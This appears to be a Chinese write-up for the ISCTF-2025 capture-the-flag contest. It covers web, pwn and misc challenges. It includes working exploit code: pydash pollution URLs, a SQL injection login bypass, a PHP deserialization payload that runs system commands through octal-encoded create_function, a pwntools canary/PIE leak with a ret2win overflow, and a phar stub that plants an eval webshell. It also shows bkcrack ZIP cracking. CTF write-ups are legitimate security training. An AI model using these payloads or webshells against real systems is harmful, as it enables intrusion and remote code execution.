ISCTF-2025

[Web] Who am I

先注册个账号,登陆一下,bp抓包发现居然多了一个参数??后面审计发现是混淆后的js注入的。其中type=0代表给姥爷账号,type=1代表普通账号

1
2
POST /login
username=Chao&password=123456&type=0

成功登陆管理员账号,获取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from flask import Flask,request,render_template,redirect,url_for
import json
import pydash

app=Flask(__name__)

database={}
data_index=0
name=''

@app.route('/',methods=['GET'])
def index():
return render_template('login.html')

@app.route('/register',methods=['GET'])
def register():
return render_template('register.html')

@app.route('/registerV2',methods=['POST'])
def registerV2():
username=request.form['username']
password=request.form['password']
password2=request.form['password2']
if password!=password2:
return '''
<script>
alert('前后密码不一致,请确认后重新输入。');
window.location.href='/register';
</script>
'''
else:
global data_index
data_index+=1
database[data_index]=username
database[username]=password
return redirect(url_for('index'))

@app.route('/user_dashboard',methods=['GET'])
def user_dashboard():
return render_template('dashboard.html')

@app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET'])
def A272e1739b89da32e983970ece1a086bd():
return render_template('admin.html')

@app.route('/operate',methods=['GET'])
def operate():
username=request.args.get('username')
password=request.args.get('password')
confirm_password=request.args.get('confirm_password')
if username in globals() and "old" not in password:
Username=globals()[username]
try:
pydash.set_(Username,password,confirm_password)
return "oprate success"
except:
return "oprate failed"
else:
return "oprate failed"

@app.route('/user/name',methods=['POST'])
def name():
return {'username':user}

def logout():
return redirect(url_for('index'))

@app.route('/reset',methods=['POST'])
def reset():
old_password=request.form['old_password']
new_password=request.form['new_password']
if user in database and database[user] == old_password:
database[user]=new_password
return '''
<script>
alert('密码修改成功,请重新登录。');
window.location.href='/';
</script>
'''
else:
return '''
<script>
alert('密码修改失败,请确认旧密码是否正确。');
window.location.href='/user_dashboard';
</script>
'''

@app.route('/impression',methods=['GET'])
def impression():
point=request.args.get('point')
if len(point) > 5:
return "Invalid request"
List=["{","}",".","%","<",">","_"]
for i in point:
if i in List:
return "Invalid request"
return render_template(point)

@app.route('/login',methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
type=request.form['type']
if username in database and database[username] != password:
return '''
<script>
alert('用户名或密码错误请重新输入。');
window.location.href='/';
</script>
'''
elif username not in database:
return '''
<script>
alert('用户名或密码错误请重新输入。');
window.location.href='/';
</script>
'''
else:
global name
name=username
if int(type)==1:
return redirect(url_for('user_dashboard'))
elif int(type)==0:
return redirect(url_for('A272e1739b89da32e983970ece1a086bd'))

if __name__=='__main__':
app.run(host='0.0.0.0',port=8080,debug=False)

发现存在pydash的污染,污染username、password、password2,修改render_template的目录到/下,这里有关键词old过滤

1
http://challenge.bluesharkinfo.com:29403/operate?username=app&password=jinja_loader.searchpath&confirm_password=/

然后尝试

1
http://challenge.bluesharkinfo.com:29403/impression?point=flag

成功获得flag
web3

[Web] flag到底在哪

dirsearch

💡 Hint: Try username admin

注了半天都没成功,突然这个报错了

1
2
3
username=admin&password[]=123

Fatal error: Uncaught TypeError: strpos(): Argument #1 ($haystack) must be of type string, array given in /var/www/html/admin/login.php:14 Stack trace: #0 /var/www/html/admin/login.php(14): strpos(Array, '' OR '1'='1') #1 {main} thrown in /var/www/html/admin/login.php on line 14

这是好事啊,说明存在过滤,不过我这个可以过啊。。。难道是之前到残留??不懂了

1
username=admin&password=' OR '1'='1' AND username='admin

现在就可以访问/upload.php
http://challenge.bluesharkinfo.com:24000/upload.php

上传一句话,找不到flag,读取/start.sh,发现flag在/home/flag,读取就好了

[Web] Bypass

八进制绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
// 必须与靶机 dump 出来的属性类型完全一致
class FLAG
{
// 靶机显示 ["a":"FLAG":private],所以这里必须是 private
private $a;

// 靶机显示 ["b":protected],所以这里必须是 protected
protected $b;

public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}

// 1. 设置 $a (create_function)
$func_name = 'create_function';

// 2. 设置 $b (利用8进制绕过WAF执行命令)
// 目标命令:这里写你想执行的命令
$cmd = 'cat /flag';

// 8进制编码函数
function ascii2octal($str) {
$out = '';
for ($i = 0; $i < strlen($str); $i++) {
$out .= '\\' . decoct(ord($str[$i]));
}
return $out;
}

// 构造闭合 Payload
// 逻辑: } $x="system"; $x("cat /flag"); /*
$payload_content = '} $x="' . ascii2octal('system') . '"; $x("' . ascii2octal($cmd) . '"); /*';

// 3. 实例化并序列化
$obj = new FLAG($func_name, $payload_content);
$serialized = serialize($obj);

// 4. 重要:直接输出 URL 编码后的字符串
// 只有这样才能保留 private/protected 属性中的 %00
echo "请复制下面的字符串作为 exp 参数的值:\n\n";
echo urlencode($serialized);
?>

本地调试的时候吧private改成public了,结果靶机怎么都exp不了,,,这样就好了,另外urlencode一下可以防止出问题。

1
http://challenge.bluesharkinfo.com:20810/?exp=O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A7%3A%22%00FLAG%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A77%3A%22%7D+%24x%3D%22%5C163%5C171%5C163%5C164%5C145%5C155%22%3B+%24x%28%22%5C143%5C141%5C164%5C40%5C57%5C146%5C154%5C141%5C147%22%29%3B+%2F%2A%22%3B%7D

[Web] mv_upload

dirsearch扫出源码,审计发现mv命令拼接,且存在通配符展开,可以用文件名作为命令执行

但分号无法绕过,考虑mv的特性(结合题名)

这题考查mv的–backup特性,当目的地存在同名文件时会触发备份,自动添加–suffix设置的后缀。

存在大量过滤,但仔细审计发现都包含了.,因此考虑把php作为后缀,加到shell.上去

具体过程:

1
2
3
4
5
6
7
8
9
10
先传一个shell.

mv一下

再上传
--backup=simple
--suffix=php
shell.

再mv一下,触发覆盖,生成shell.php

完成GetShell

本地复现

[Pwn] ez_fmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

# ================= 配置区域 =================
context(os='linux', arch='amd64', log_level='debug')
binary_path = './ez_fmt'
elf = ELF(binary_path)

# 启动进程
# io = process(binary_path)

host = 'challenge.bluesharkinfo.com'
port = 20609
io = remote(host, port)
# ===========================================

# 1. 泄露 Canary 和 返回地址 (计算 PIE)
print("[-] Step 1: Leaking Canary and PIE Base...")
io.recvuntil(b"1st input: ")

# 发送 payload:同时泄露 Canary (%23$p) 和 返回地址 (%25$p)
io.sendline(b'%23$p.%25$p')

# 接收并解析
data = io.recvline().strip().split(b'.')
if len(data) < 2:
print("[!] Error: Leak data incomplete. Check offset.")
exit()

canary = int(data[0], 16)
leak_ret_addr = int(data[1], 16)

print(f"[+] Leaked Canary: {hex(canary)}")
print(f"[+] Leaked Ret Addr: {hex(leak_ret_addr)}")

# objdump -d ./ez_fmt | grep -A 2 "call.*vuln"
RET_OFFSET = 0x135b # 根据 objdump 结果确认
elf.address = leak_ret_addr - RET_OFFSET
print(f"[+] PIE Base Address: {hex(elf.address)}")
print(f"[+] Real Win Address: {hex(elf.symbols['win'])}")

# ===========================================

# 2. 栈溢出攻击 (Bypass Canary & PIE)
print("[-] Step 2: Sending Buffer Overflow Payload...")
io.recvuntil(b"2nd input: ")

# 获取 ROP gadget (用于栈对齐)
rop = ROP(elf)
try:
ret_gadget = rop.find_gadget(['ret'])[0]
print(f"[*] Ret Gadget: {hex(ret_gadget)}")
except:
# 如果找不到 ret gadget,尝试直接跳 win (可能不需要对齐)
ret_gadget = 0
print("[!] Warning: Ret gadget not found.")

padding_size = 136 # buffer 大小

# 构造 Payload
payload = flat([
b'A' * padding_size, # 填满 Buffer
canary, # 填回 Canary
b'B' * 8, # 覆盖 RBP
ret_gadget, # ret gadget (栈对齐,防崩)
elf.symbols['win'] # 跳转到 win
])

# 发送
io.sendline(payload)

# 3. 拿 Shell
print("[*] Switching to interactive mode...")
io.interactive()

[Misc] 美丽的风景照

神人题,第三天才放hint

1
2
3
4
5
查看提示: HINT1
按照彩虹颜色排序试试看

查看提示: HINT2
这照片里的古建筑上怎么写个明光大正”“那是正大光明,古风都是倒着来的

分帧,古风要反过来,整体按彩虹顺序,base58

1
2
3
2WqjC2gD7HLo86yRWhKEaC3ZXw8T98Mz

ISCTF{H0w_834u71fu1!!!}

点了个踩

[Misc] 小蓝鲨的神秘文件

ChsPinyinUDL.dat是微软输入法都词库学习文件,用UTF-16 LE打开就能看到内容了,有效内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
帮我优化这段代码
不要乱动我的代码
不要动我原来的代码
出题人说弗莱格在官网
出题人说弗莱格在那里
官网的新闻里
在那里
还有一些项目合作的机会
福州蓝鲨信息技术有限公司
机会是留给有准备的人
看看官网的新闻吧
你把简历投了再说
你去看看新闻动态呢
你去找辅导员问问
去蓝鲨官网看看呗
你这个脚本跑不了啊
他们招实习的
这次比赛你参加了吗
真的可以去试试
在我原来的基础上修改

感觉像一边聊天一边vibe coding

在这里https://www.bluesharkinfo.com/news/article/2025-11-25-news20文章最后找到flag

1
ISCTF{我要和小蓝鲨组一辈子CTF战队}

[Misc] Abnormal log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import re

# 将题目提供的日志内容保存为 log.txt
log_file = "access.log"

def extract_flag():
with open(log_file, "r") as f:
content = f.read()

# 1. 正则匹配所有的 File data segment
# 注意:虽然时间戳乱序,但日志文本中 Segment 是按 1-116 顺序出现的
# 如果文本行顺序也是乱的,需要根据 "segment X..." 进行排序,但此题文本流看起来是顺序的
pattern = re.compile(r"\[INFO\] File data segment: ([0-9a-f]+)")
hex_segments = pattern.findall(content)

# 2. 拼接所有十六进制字符串
full_hex = "".join(hex_segments)

# 3. 转换为字节流
data_bytes = bytes.fromhex(full_hex)

# 4. XOR 0x05 解密
decrypted_bytes = bytearray()
for b in data_bytes:
decrypted_bytes.append(b ^ 0x05)

# 5. 保存文件
# 根据文件头 37 7A BC AF,这是一个 7z 文件
output_filename = "result.7z"
with open(output_filename, "wb") as f:
f.write(decrypted_bytes)

print(f"[-] 文件已提取为 {output_filename}")
print("[-] 请解压该文件,里面包含一个 flag.png,打开图片即可看到 Flag。")

if __name__ == "__main__":
extract_flag()

flag
ISCTF{sabfndhjkashgfyiasdgfyusdguyfbknncxzbnj}

[Misc] 小蓝鲨的千层FLAG

1
7z l -slt flagggg999.zip

发现Comment写了密码,试了一下可以,丢给ai搓剥洋葱脚本。

Comment = The password is 0eb9d3986e56473c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import zipfile
import subprocess
import re
import os

def solve_matryoshka():
# 初始文件名
current_zip = "flagggg999.zip"

while True:
if not os.path.exists(current_zip):
print(f"[-] 文件 {current_zip} 不存在,停止。")
break

try:
# 1. 使用 zipfile 读取注释 (zipfile 可以读取 AES 包的元数据)
with zipfile.ZipFile(current_zip, 'r') as zf:
# 注释是 bytes 类型,需要解码
comment = zf.comment.decode('utf-8', errors='ignore').strip()

# 获取包内的文件名 (假设只有一个文件)
file_list = zf.namelist()
if not file_list:
print("[-] 压缩包为空")
break
next_file = file_list[0]

# 2. 从注释中提取密码
# 注释格式: "The password is 0eb9d3986e56473c"
print(f"[*] 正在处理: {current_zip} | 注释: {comment}")

# 使用正则提取密码 (匹配 "password is " 后面的内容)
match = re.search(r"password is\s+([^\s]+)", comment)
if match:
password = match.group(1)
else:
# 如果没有找到标准格式,尝试直接用注释最后一部分
print("[!] 未匹配到标准格式,尝试使用最后一段作为密码")
password = comment.split()[-1]

# 3. 调用系统 7z 命令进行解压 (因为 Python zipfile 不支持 AES)
# 格式: 7z x -pPASSWORD -y ARCHIVE
cmd = ["7z", "x", f"-p{password}", "-y", current_zip]

# 运行解压命令,屏蔽输出以免刷屏
result = subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE)

if result.returncode != 0:
print(f"[-] 解压失败: {current_zip}")
print(f"[-] 错误信息: {result.stderr.decode()}")
break

# 4. 清理旧文件并指向新文件
os.remove(current_zip) # 删除上一层,节省空间
current_zip = next_file

# 如果解压出来的不是 zip 了(比如是 flag.txt),就停下来
if not current_zip.endswith('.zip'):
print(f"\n[SUCCESS] 最终文件已解出: {current_zip}")
print("内容如下:")
try:
with open(current_zip, 'r', encoding='utf-8') as f:
print(f.read())
except:
print("(文件可能是二进制格式,请手动查看)")
break

except zipfile.BadZipFile:
print(f"[-] {current_zip} 不是有效的 ZIP 文件")
break
except Exception as e:
print(f"[-] 发生未知错误: {e}")
break

if __name__ == "__main__":
solve_matryoshka()

千层zip

获得flagggg3.zip,此时注释不再有密码,且加密方式变成了ZipCrypto,压缩方式Store,意味着压缩包内的文件名会以明文形式出现,补足足够的长度。

1
bkcrack -C flagggg3.zip -c flagggg2.zip -x 0 504B0304 -x 30 666C6167676767312E7A6970

注:

1
2
偏移 0: ZIP 头签名 50 4B 03 04
偏移 30: 内部包含的文件名 flagggg1.zip (文件名通常从第 30 字节开始)

bkcrack

获得key后解压出flagggg2.zip

1
bkcrack -C flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c21cba b9a7958f -d flagggg2.zip

之后这个flagggg2.zip没有加密,flagggg1.zip也是(感动),一路解压出flagggg.txt

1
2
You deserve it !
ISCTF{3f165c87-c0d4-4903-9c47-3a8d3b9c83df}

[Misc] 星髓宝盒

给了张png,zsteg看到末尾追加了一个zip

1
binwalk -e 星髓宝盒.png

提取获得

1
2
3
你是优秀学生吗.txt
真-星髓宝盒.zip
星髓宝盒.jpg

先看一下这个压缩包,真加密,确认flag就在里面

1
2
3
4
5
6
(base) ➜  E064B bkcrack -L 真-星髓宝盒.zip
bkcrack 1.8.1 - 2025-10-25
Archive: 真-星髓宝盒.zip
Index Encryption Compression CRC32 Uncompressed Packed size Name
----- ---------- ----------- -------- ------------ ------------ ----------------
0 Other Deflate bd48ae80 39 69 真-星髓宝盒/flag.txt

再看一眼这个jpg,使用exiftool

exiftool

发现XP Comment: https://www.somd5.com/,访问一看是个md5解密网站,考虑可能会给一段md5,解密后即为压缩包密码。

然后来看这个你是优秀学生吗.txt,好长的文本,但乍眼一看没有有效信息,用vim看一下。
vim看一下

发现有不可见零宽字符,使用网页工具解密。这里需要使用https://www.guofei.site/pictures_for_blog/app/text_watermark/v1.html这个

零宽字符1

解出的密文没有有效信息,猜测仍然存在隐写,用vim看一下。

第二次vim看一下

确认存在零宽字符隐写,但零宽字符与之前的不一样,之前的工具无法使用。使用随波逐流自带的字密3-JS:零宽字符加解密1,获得md5。(原版的该工具无法成功解密)

零宽字符2

5b298e6836902096e9316756d3b58ec4,使用之前的网站解密一下,成功获得压缩包密码

md5解密

解压得到flag: ISCTF{1e7553787953e74113be4edfe8ca0e59}

[Misc] 木林森

解压获得木林森.txt,厨子解base64,获得png。

二维码

扫码获得数字20000824

binwalk分离出一张jpg。

价值观

1
文明友善爱国文明诚信自由文明诚信自由文明友善爱国自由友善法治公正民主公正友善法治公正文明公正民主文明诚信自由文明友善爱国文明诚信自由文明诚信自由

随波逐流解出来

1
....Mamba....

关注png之后还多了一段hex

1
31EE9AB2DF104EE695824579140ADF39472BEB3316CF119A61A2CC460523B0618C794A934AFF3B90F4E036

长度看起来像流加密,考虑RC4

1
2
3
4
5
6
"聪明的你,截获了来自木林森这个间谍组织发送的加密通信内容,请特别注意他们的神秘标记!!!!

其中还有被破坏没有拦截成功的密文,你凭借记忆依稀只记得:""Ron's Code For...?"",请解开通信内容,获取flag"

....Mamba....
20000824

猜测密码为2000Mamba0824

木林森

1
ISCTF{590CF439-E304-4E27-BE45-49CC7B02B3F3}

[Web] include_upload

打phar,配合自动解压的特性。另外phar包含只需要路径里有.phar就行了,不需要在最后,甚至是文件夹名都可以,也不管后缀是什么。

参考这个,非常详细

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$code = <<<'EOD'
<?php

$shell_file = "shell.php";
$shell_content = "<?php @eval(\$_POST['cmd']); ?>";
if (file_put_contents($shell_file, $shell_content)) {
echo "ojbk";
} else {
die("NOOOO!!!");
}

echo "Phar stub executed\n";
eval($_POST['cmd']);
__HALT_COMPILER();
?>
EOD;
$phar->setStub($code);
$phar->addFromString('index.php', $code);

$phar->compress(Phar::GZ);

$phar->stopBuffering();

?>

生成exploit.phar.gz,改名成exploit.phar.gz.png,实际上只要包含.phar且后缀为.png就可以了,然后去/include.php包含,会自动写马。

附上dump出来的原题:

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
//白名单
$ext_arr = array('png');
$file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);
//判断filename是否为空
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
//判断filename的后缀是不是在黑名单
$name = basename($_POST['filename']);
$filename_ext= pathinfo($name,PATHINFO_EXTENSION);
$filename=$_FILES['file']['name'];
$content = file_get_contents($_FILES['file']['tmp_name']);

if(in_array($file_ext,$ext_arr)){
//检测文件后缀
echo "后缀没错"."\n";
//整个文件内容检测
if (stripos($content, '<?') === false && stripos($content, 'php') === false) {
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " 文件已经存在。 ";
}
else
{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $filename;
}
}
else{
echo "别看了,我这waf你过不掉的,看看这题的特点,看看提示也行"."\n";

}
}
else{
echo "必须上传.png哦";
}


?>

include.php

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".png"){
include'./upload/' . basename($_GET['file']);
exit;
}
?>
我还以为你真信